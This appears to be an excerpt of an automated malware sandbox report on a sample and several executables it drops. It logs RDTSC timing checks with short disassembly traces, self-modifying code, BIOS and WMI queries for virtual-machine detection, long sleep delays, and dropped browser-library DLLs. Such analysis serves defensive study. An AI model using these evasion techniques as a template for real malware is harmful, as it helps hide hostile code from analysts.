Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FC2BD second address: 3FC2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F44A4EBD626h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FCD53 second address: 3FCD57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FCD57 second address: 3FCD66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD62Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FD6C5 second address: 3FD6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44A4E0677Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FD6D7 second address: 3FD6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FD6E5 second address: 3FD6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FD6E9 second address: 3FD6FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FD6FA second address: 3FD713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E06785h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40013A second address: 400140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 400140 second address: 4001B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007F44A4E06784h 0x0000000d pop edi 0x0000000e nop 0x0000000f mov edi, esi 0x00000011 push 00000000h 0x00000013 sub dword ptr [ebp+122D35F1h], edx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F44A4E06778h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 add ebx, 68F43B3Ah 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d jmp 00007F44A4E0677Ch 0x00000042 jmp 00007F44A4E0677Dh 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 4001B5 second address: 4001BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40115E second address: 401162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 401162 second address: 401166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 401166 second address: 401180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F44A4E0677Fh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 401180 second address: 4011A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40214E second address: 40216C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F44A4E06778h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 4042F0 second address: 4042F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40814D second address: 4081B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F44A4E06778h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D25DEh] 0x00000027 stc 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F44A4E06778h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 push ecx 0x00000047 mov ebx, dword ptr [ebp+122D2FF5h] 0x0000004d pop edi 0x0000004e mov dword ptr [ebp+122D233Ah], edi 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 push esi 0x00000059 pop esi 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 4090C0 second address: 409130 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, A81Eh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F44A4EBD628h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e adc di, 91BBh 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F44A4EBD628h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D3AEAh] 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jl 00007F44A4EBD62Ch 0x0000005e jnc 00007F44A4EBD626h 0x00000064 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 409130 second address: 409147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E06783h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 409147 second address: 40914B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40C132 second address: 40C138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40C138 second address: 40C14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F44A4EBD62Ch 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40D159 second address: 40D1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F44A4E06776h 0x0000000a popad 0x0000000b pop esi 0x0000000c nop 0x0000000d jmp 00007F44A4E06780h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F44A4E06778h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e push 00000000h 0x00000030 sub dword ptr [ebp+122D2886h], ebx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jg 00007F44A4E0677Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40D1AD second address: 40D1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40F064 second address: 40F0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F44A4E06776h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d ja 00007F44A4E0677Eh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F44A4E06778h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e sub dword ptr [ebp+12477EBDh], ecx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F44A4E06778h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 and edi, 33B7F076h 0x00000056 push 00000000h 0x00000058 add ebx, dword ptr [ebp+122D2D19h] 0x0000005e xchg eax, esi 0x0000005f pushad 0x00000060 push ebx 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 jns 00007F44A4E06776h 0x0000006c rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 40F0E3 second address: 40F0F4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FDFD4 second address: 3FDFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FDFD8 second address: 3FDFE2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 400303 second address: 4003A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+1245FE9Ah] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F44A4E06778h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 jns 00007F44A4E06783h 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov bl, al 0x00000042 mov eax, dword ptr [ebp+122D15F5h] 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F44A4E06778h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 jmp 00007F44A4E0677Eh 0x00000067 push FFFFFFFFh 0x00000069 mov bh, EFh 0x0000006b clc 0x0000006c nop 0x0000006d push esi 0x0000006e jng 00007F44A4E0677Ch 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 402350 second address: 402354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 403346 second address: 40334B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 4053BB second address: 4053BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 4053BF second address: 4053C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 407351 second address: 407357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 415E51 second address: 415E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jg 00007F44A4E06776h 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F44A4E06776h 0x00000014 popad 0x00000015 pop eax 0x00000016 je 00007F44A4E067B4h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F44A4E0677Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 415E7B second address: 415E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 415E7F second address: 415E8E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4E06776h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 41765D second address: 417663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 417663 second address: 417669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 41C86D second address: 41C881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jnp 00007F44A4EBD628h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 41C881 second address: 41C89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F44A4E0677Fh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B6082 second address: 3B6089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B6089 second address: 3B60D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F44A4E06776h 0x0000000a jmp 00007F44A4E0677Dh 0x0000000f popad 0x00000010 jmp 00007F44A4E0677Bh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F44A4E0677Ch 0x0000001f jmp 00007F44A4E06787h 0x00000024 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 45FBCF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FFF88 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FF3AC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 68A960 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Special instruction interceptor: First address: 24EB25 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Special instruction interceptor: First address: 24EC18 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Special instruction interceptor: First address: 47CF8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 15EB25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 15EC18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 38CF8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: A30CD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: A30BD1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: BCB41F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: BD5D2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: C5D4AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Special instruction interceptor: First address: 64FBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Special instruction interceptor: First address: 7EFF88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Special instruction interceptor: First address: 7EF3AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Special instruction interceptor: First address: 87A960 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Special instruction interceptor: First address: C1DB8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Special instruction interceptor: First address: DC49F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Special instruction interceptor: First address: E57909 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 65FDB8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 67A49F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 6837909 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 5A3DB8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 5BE49F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Special instruction interceptor: First address: 5C77909 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Memory allocated: 52D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Memory allocated: 55D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Memory allocated: 75D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

Code function: 20_2_05380E91 rdtsc

20_2_05380E91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 8475

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7420	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7424	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7404	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7416	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7408	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7412	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7400	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8508	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8508	Thread sleep time: -114057s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8496	Thread sleep count: 55 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8496	Thread sleep time: -110055s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8500	Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8500	Thread sleep time: -142071s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8616	Thread sleep count: 339 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8616	Thread sleep time: -10170000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8504	Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8504	Thread sleep time: -124062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9100	Thread sleep count: 206 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9100	Thread sleep time: -412206s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8328	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9184	Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9184	Thread sleep time: -124062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9100	Thread sleep count: 8475 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9100	Thread sleep time: -16958475s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 8756	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 3396	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 1272	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 7352	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe TID: 5340	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 8424	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe TID: 8908	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
